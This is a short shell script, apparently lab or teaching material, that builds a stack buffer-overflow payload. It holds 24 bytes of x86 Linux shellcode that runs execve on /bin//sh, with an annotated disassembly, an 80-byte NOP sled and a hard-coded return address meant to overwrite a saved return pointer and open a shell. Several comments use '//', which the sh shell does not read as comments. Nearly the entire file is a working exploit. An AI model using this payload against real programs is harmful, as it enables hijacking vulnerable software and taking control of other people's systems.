27
|
1 |
#!/bin/sh
|
|
2 |
|
|
3 |
// shellscript that overwrites the buffer with
|
|
4 |
// some payload for opening a shell (the payload
|
|
5 |
// cannot contain any \x00)
|
|
6 |
|
|
7 |
|
|
8 |
shellcode="\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x0b\xcd\x80"
|
|
9 |
|
|
10 |
# 24 bytes of shellcode
|
|
11 |
|
|
12 |
# "\x31\xc0" // xorl %eax,%eax
|
|
13 |
# "\x50" // pushl %eax
|
|
14 |
# "\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
|
|
15 |
# "\x68\x2f\x2f\x62\x69" // pushl $0x69622f2f
|
|
16 |
# "\x89\xe3" // movl %esp,%ebx
|
|
17 |
# "\x99" // cltd
|
|
18 |
# "\x52" // pushl %edx
|
|
19 |
# "\x53" // pushl %ebx
|
|
20 |
# "\x89\xe1" // movl %esp,%ecx
|
|
21 |
# "\xb0\x0b" // movb $0xb,%al
|
|
22 |
# "\xcd\x80" // int $0x80
|
|
23 |
|
|
24 |
padding=`perl -e 'print "\x90" x 80'`
|
|
25 |
|
|
26 |
// need s correct address in order to run
|
|
27 |
printf $shellcode$padding"\xe8\xf8\xff\xbf\x00\x00\x00\x00"
|
|
28 |
|